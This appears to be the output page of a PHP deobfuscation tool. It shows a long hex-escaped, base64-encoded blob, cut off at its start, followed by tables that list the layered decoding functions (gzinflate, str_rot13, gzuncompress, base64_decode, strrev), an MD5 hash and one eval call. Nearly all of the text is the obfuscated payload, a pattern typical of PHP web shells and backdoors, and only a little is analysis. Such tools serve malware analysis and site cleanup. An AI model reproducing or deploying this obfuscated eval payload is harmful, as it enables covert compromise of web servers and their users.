x42lgfYoUSw\x42pYqn/2OiYVOhNKu7PEs5t0sie6zRJdwsWO1\x42pO9\x42js\x2b\x62LnN\x63\x62\x42xhJG3TFyk3mfTLjueZRWMP10P7\x41\x43HwwwxK\x2b3Pi9WrZ5\x429MOzT\x43fI/\x62w\x439L\x2befD\x62u\x2b\x61p7\x2bxxen/s7MPiu3oQhUzIZ\x62\x62yW4WJwF3\x63\x2b5zF075\x621j9iSfz\x630ohkdpSgVEfy322\x62oR4W34V\x41exo3v\x41M\x62y21mzvHyqp95\x42/hqwuO\x61S0uZGPw\x43oy7/uluGOXDHe\x42V9Iqv7\x62TrWk2tT28QJU6FY/4\x2bo\x62\x62\x433W\x61HX\x63lof3ITwg\x61r8xMopy8ilq2\x62SM\x41\x42QS20\x2bjgZIYpj7OKk2wpGvIT\x2bFdn1\x2bhiD3pPT\x2bD3UIXnPe1nnKMP9LdJrOJ\x42KwwV/1pgUl2\x41\x61fpt\x62/f\x62\x63xE\x43nmmJ\x2b7O8q2O\x429/f\x638EwOSo3r\x2b/7Vu\x2bofO\x41\x41mfqr\x42rJDKP8zntWdgr111Xgu\x43sK\x61L\x43s6h6jz\x43\x43tV\x63qENZ\x42JHvfj9dWOjT\x627gi\x63PV\x63s\x42e7vGfOpgf88iMhEliWqorm1RlT2rz\x62Ox\x61mUpl\x426f8d9GT5jX8iq2Z\x63GgGx2pXQJg9y0JolTwmS\x43R6II8GLNHdkjPq2p\x62NpG5LEyvGixFQUx8V\x41O\x43DXQ\x41EVowPimx8EI8\x41WUvw5U9Jhk1hOiyEfT0jYy6Ev\x41js2GW\x42/JzQG/Y\x62dFMwDsMHe\x63lSN5s596j\x41WHkJeR6\x43HSuTI/pfogtiPJSK19mUsWi917mI\x62\x42Lq8Lt7nM0zqD/YgztRoz\x41S84wj7JkX2JDdWJrDdT\x2bs\x62Jizq7\x63d9mPVJWZn\x2b7ydG\x43l\x622PNjm6L\x61/\x41\x62dDLDrl\x41fJZu4\x2bygxqEtorSO7n4kWQih1lNIrNY\x62R\x63/qFy\x41pjkD96QVPu1\x62oqG8IKlHhLTFMQu7YTx13\x63YOY\x63\x2biQsKeUXnvsgyXdSpFtYdY2\x43K17u\x436GzO3fp8u7DQP3\x63iYgexQTNY\x42LHuJ\x2bfM7xWH\x2b8S\x43Xh\x63\x63xWnV7jWp9w\x41EIF5Sxy\x41xsl20t\x63ztx\x43qfigyggoOPq\x41m3Pfy4yinlLsRP\x62mt\x2b\x2byP9gfjhk\x2bii1iwlhz9S\x43JTzzq\x43GhoSJk\x63Wr2QUJRdePmuDSk453ZvR7Ztts\x2bpm/fOtpfsJx2\x42IGSPsP\x61Vv/\x61ygok5HQyvQ43Gzm/\x41ZXT9\x61PnIsl\x2bJnd\x61tLNyqWm/vdsfi8OHTXM9\x414p\x43fWpr\x6341Ef4LZ8FxeiUlm/7\x2bOKsqMgRi1eOQnTHzW\x41L1Y3WVIWe0Z8xK\x61LrHN\x62Hu30us\x63FgMuWtvX\x41t\x2bz5O/qkd\x2bv3FVHl4HlLM3Vy\x42Ry\x635zX7fOy1Fv2h2\x61LW7ye\x41VIYZVXSeGv1\x621InYrFM3\x628\x63wJ\x426l\x636UHN5nmv6t\x63hesjTuTPqunQwT3fN/o\x63vje\x2bz0EEzTkqxZ\x4396/LO6m\x2b\x2b8R6OY5Tnulh\x63qjrO\x41\x2borP4ylPJFJ\x2bVflySo5qHiY8jQFl/\x63FZKVU\x2bODki\x61U\x2bWXNRfQVTZz3ZzEX1Nr0mi\x63\x62X170OfPJh/vVrYQvo9d2Nx6ToLdz7\x43SL\x62WS\x61s\x63OZFfHI\x63L\x42\x435L\x61qs57MHIwYSPumpwm\x2b1Hw00mQmpz/ZhEQdokGk\x62R\x61DqujXrNT5YtK7mnLF\x42hxUSy8M6ZkirxjxLhMDXf4\x434z6K9ZR4Zd2n\x624nxiOUZpfRRr\x43InLRS6I\x421x3f12g8JSySHLTtxfDTeRqrdoiyzGdVj8KN7VOPe\x42K5ieFOkX\x62SI\x438kNFS82WJU\x63khIvS\x63PKJNF8OYGVLhQ3OmgEt1l\x43ei4VKUmZ\x420FvFdlZWiLET5YptW/F7ZPxTgEKJ\x63n\x2bITTHQ\x62\x41FHshGG\x63zgJ1mtYYvo83\x2b\x43HS\x2bVgZe3j77\x62IHXmQ\x2bUfE\x41YV9qYmJR8siGTs4kSE0W\x42ZKjMO\x429\x42Pw/9lwT6F\x61DIOKxHN\x61Ld6\x2b/7\x63UqH5E\x42f3P3\x42NjoOwhl38V38\x6326rUMhJZTROO2UZdRfK7yZkJMZnj\x61OeWptlfoH\x62x\x4347x2D\x62kvgJUsidxZ\x61sIUwI2\x2bzQUrP/P2Fi7IEL7RT2Z4S1Vsxnsj0t7\x41i2Ir8L3eh/Kdom\x61v\x42s2r\x61J3hE5\x625d855\x61Mv\x61QVqFJ3l/p1TotYonEt8kk7Lv4pzGS\x42SNLYNPp75l\x42x\x43FNpgfM\x41NtTmlx/97NFGt\x2bvH\x2bY02e\x62Kx\x43izz\x2bf\x417D2qjmV\x43ewum\x62Jy7\x43mRpkTXvXGs2r\x62WL5mX\x43P\x62G\x63t3x8mqDEmzKSZyiMvpt\x62\x43qM\x41g4k6T84tkis\x61WMZrPEVOVKj2sMn\x42R\x63\x43Gq50P0mKiwZtde1E98jeR\x637e2h4W3uiWJXzeKYJH/Kr6X\x624rT9PJvktgEiz9n\x4370dDLZo45ReLGhFNJ9NGwGw0UoKl/m\x62KywXiUk2VJ2\x63yt1jlrX\x42iPhWFRE87vsEm\x62j95\x61d1yR8WLp578VZvFvjnuD\x63sg/XoRkhJP\x41tMx6\x2bp9M\x2blkG/9mStPH0u2X3FNmkzwx\x62LRRQLfXSIRL2QSR8YK\x414SV\x61WsgGTJmF2d\x43pugdquyfqU\x63UlXoLF5FUjH0gX5OxhSX\x63S\x2b\x2bHZLDes8/xkGl81rTs83oMi4RolhGtpYJ04Gym23z3dhIFd/xjLO\x41zTmFSlNE8G7y\x63HItunlvXv\x63\x62kT368pW\x63e56y/wWMF1fnk9sUufVz170\x43q1nf2yHtgmHwl\x2bM5T\x624L6\x62X2H\x42FhF\x42ihdwhhEX7HT\x2bvT39/zOG7\x41UvJnX\x4244JRljmnjyz/\x6265\x62\x618kq\x43VlGd7Q30P\x42PJrx\x42z\x61p\x62\x416q\x2bHr\x61kV\x6334l7iIq54O9T\x63o\x62t\x638\x41\x62L7uZdLJYRu\x43\x622nuM5ZqVoduDj\x43q\x43/Jxdk\x42ZuyGqj\x2bZRy7\x43HD\x2bxhvhr9jOOpR8RqrfPw6y5\x63\x63GZu\x427o5lfW\x63t6UjoEY\x63rjg1snx\x2bM\x42pfhJDWlxOJO/nmywpRYF3r\x63\x2bpH\x435y6\x63\x4335w/TOhqnm2g3NkzvtZl2ENGmf9Z9H6\x63xXq2qTLx\x43k\x63JDIO15MLOk8d7xG8\x62Pg\x631nOZVd3Q\x416rL4f8pDM1X58PnUw\x2bUWTK7f4R9o\x43GGjDIzLwL3NWIWTI\x63Q3r6eN/0Wz9K/vju\x41gU\x42Mh\x43XmSvnW7fP\x2b\x420JIHd\x2by/\x414M03fW9nWZ5jQ5hHfXRy3Eh7T\x63Vv4QnfRigF186uH/PS4\x431Wm\x63gkTPvt\x42UL\x63rPz\x61\x419umX4JweIFSxKN50kZ\x638\x41kXpWjOIeoLpTkq55\x62hp\x61hH/T5rG\x41kJxQw7WT\x426\x41lH0MTJFknJru7mwyNgR0g4hO\x2bQRdyX\x42\x43r5\x63\x43ZWkmO\x632oZxSKVNnqtmUp0xf\x63nohvzir\x62Wg1DMQQYqJRMmk\x63m5rYx\x42\x63l73ZPi2ETokzQ28\x435r6n5\x2bqYUUxZtR\x63R\x43\x628PPGe0rswxrGXs0WWGyRuO01E9Y6iw\x63ldweM2xGVf\x42YVm/1Pq9m\x41TxdR/MQPt\x61\x43ZnHYFQDzgdwMy6FvNEIFxsdqLyLh\x42NJ0m6wFQE7vT\x62q\x2b88rL/RD5\x63WESmPx2e2j5MJ\x62FEYO9QrjEY2Eu5qLjjlwQv0F7\x2bdiyez9tttU7ozYqfpyG\x416E7vfy/kxI\x2boFN7sVOooJtU1\x2bVZvqr\x631J\x43Z3UIJt1uh4X5Up\x61w8onl0\x63\x62\x425i\x41ZqVxZnsPf\x614k6l\x638NOiKZmdJnYePRzQ7wtjPN\x2brTS\x42nyMQO6wE\x41r0\x43Q27HrPlG7/ZJ\x62OOQ8\x62Ny3j\x62\x62rp\x61\x61pSoySrQr23x9X\x41tj\x42fzd\x63lW\x2b\x410i0y99TykYiMOusw\x63NxQenVXqNPm\x63wT5LU\x42i5USmQzwLtLVvJZoeQ2\x41L9ZJQnv8Nmy5frxki6RIPux5Ovyi/WKT\x63fwUgv14RN4\x62rjfW5yM4wuVX1JmP6zqH/F/v\x41Ssp7D\x63kylFYpvs\x42DkNEJ\x43Tk\x41V9TrtiR9i\x426uuL71dRpOV\x63zrSS8I\x63nT7rV1I8up\x62lN4U6LZ1fo\x63yG48Ll1heHDYzn7V2e0LltJP\x61Wy6ejE\x2brvw\x613k8Z\x61M8s\x41y/\x2bq\x43XddRFepNsY\x62xDgUpEJSU\x41UM/k0\x41k83mF\x42FlJx5LV9fX2P\x41z/QPsMuuDE\x62NuUep\x63elvDQR\x62l8X/Xm8FeHWfwetiR4V6uSd\x62WzqlxW0OO0Ld\x61FK\x42ND\x2bP8\x2br\x43GQRMxty\x62PIe0vUs0l\x42jord\x63LyoY039\x433R\x63VHS05\x61mTzI2sEMFY1jZfiXSPREKI\x43yhEomvi\x61T7g550OQxpttZJ8DkvkZJnw\x2b2xiv\x41fZdwjT\x43vjt\x419zGxP9uq2irqzlR4HID91wuhgD7Gh8/JFZtMmDj\x43sz\x62oMj\x63HhRPX4LpUJZo0Lp9FYFZ\x61\x639MEnk2Jdj2Q\x430iuFqx\x62\x41YrqiU5sUeKmqio1u\x43PULLmosP\x428eLmXNpLg\x63e\x42\x4175\x61W\x42dOeWpXN\x2b\x437MjhknePV2F\x61LnlNqs\x43fzKVWEV7OXd4mho89I\x636QrxXfGtNRtzVUKFLI\x62Ulq\x61r3YkY\x63\x617KDu\x63zpqFos3z\x61nzPK\x618eGqp\x2bULj7o28P0D1tY3K7szXk\x4223J\x41J\x2bUUuH8\x62EEvvk5Jw5SGiGKGZ\x41p9jvjFdTZm/6\x435I3tQjrrouxz\x61vdZHEhdTqnVZ2x5L\x432q\x62gKU\x63\x42GDEnss1J4uTxMTio51s2lHDRxpRWKsR\x61I5GdwO4f\x2bx\x42D\x41\x41XMKw\x2b\x62t2FK3\x41sKr\x63JXi/21T\x43\x2bSEoY\x2bDRK/oFqTp\x42ve\x63rUvvXMnNhYK\x62LPVkZpGY\x63sO4Rr7s11uNsi2eUuVSwQl\x43x9S9e8S2OzvW\x62fFJKL4\x41FUrvmKEXjfxIrtJK\x2bP\x61OYTXMEXT5J0\x612wmglEGoV8S\x62lixuVP\x2bqkYmDW\x638ol2o8Z85zKfD\x2bEsD2qXimmI9/2HwTP3H6\x631kzjq\x43tu7tdiEi\x63GQo\x62EKx4YfG1W/WmdL5LVt8i\x62z5xPp2Q\x41logH\x41FOK/qrv9hUd\x438ShQkpZUd/SlTrOd9uvqfMrdGtmGDf7\x41uPQm1v6\x424Q1uJ8Ritdzx68D\x42NuhF6\x635LHVWV14e\x43luUomJ\x61\x63eqG78zk\x626TfirFz/pgpT39F5k97FQj04vu\x418NwRLZKxEyk\x2bpL\x43JnRKpLeTIOEprH6FhMSvm2m2yFz\x2bi9K3kyL14lwyTilTD\x62s\x63//oDZDEuvUl\x61m0Ou0f\x61e\x63G\x41h/\x42\x41XM9i9\x43G3\x43954Q\x61ph042\x2b5\x63p33ssH\x2bVEFiw/eZRZw1\x63ljU\x2btGo\x43fwDnv\x617oDNx\x62FQ/\x61OtRhKwpZN6vtfgLzUf\x61qWtZ\x62J28e\x2bYI6j8IT43\x618l19nKLNrW\x41tStLd\x63O7Qtn2j01h\x434niYoiysrWntgZyD1\x41pJ\x2brT2vppEuMJRJS\x42TU9ekyWOIZz\x2bKOSeuWEljinrJvLHTnfxgT0ptxtRIO\x43Fxt0h\x426Ewz\x62kW\x62S9M8EF\x41P\x62WmIWvZwog2ffGwDQmK9ZXjIRdPS2J\x611OX7RkWmPEHHMsTYQ9fdiXK5/Wd8pT\x62Lyg\x6244\x61E4sVHsU2e9Yr4\x43eMx\x41eKWTO\x61UtlD3E2u\x63PsvXP2Tw\x43yiJfyWQ9zKTqie5Jyojuy\x42xMn\x62423R\x43JJE53eI2dqGSgN48k\x2b\x42KusYghkz898oNuFQ\x43N\x42wsleNlQiH66iXr5ePmuymri2FJNK\x62dTY\x619kTGImYKiHxzR0P63p8\x41odYK3V1wHu3WKno6uVGYux\x42JwWr\x62D4O6/X5mm67edTzrT\x2blY\x43i\x43SIvE\x63HpO16uiT78kT/LQHkJYvg/Pzs93o2\x2bx\x63L\x2bs715\x63uNfeOFf\x2bdf2f\x2bsPW\x41D\x61\x41MY8gRoReY6\x43T3SLo\x43dKihlk\x41\x43\x62HlrMeHdISJqIkIdDikvUIV6FpEVUUg9374EYVGndwJeEm8e2E\x41hEv3O\x42wJeEm7eGF\x41h0u3S\x42wJeEm6eWF\x41hku3W\x42wJe"))))))))))));
Function Calls
| strrev | 1 |
| gzinflate | 4 |
| str_rot13 | 1 |
| gzuncompress | 4 |
| base64_decode | 1 |
Stats
| MD5 | dbfd978bdefe0856cc6886dffbcc55cb |
| Eval Count | 1 |
| Decode Time | 1023 ms |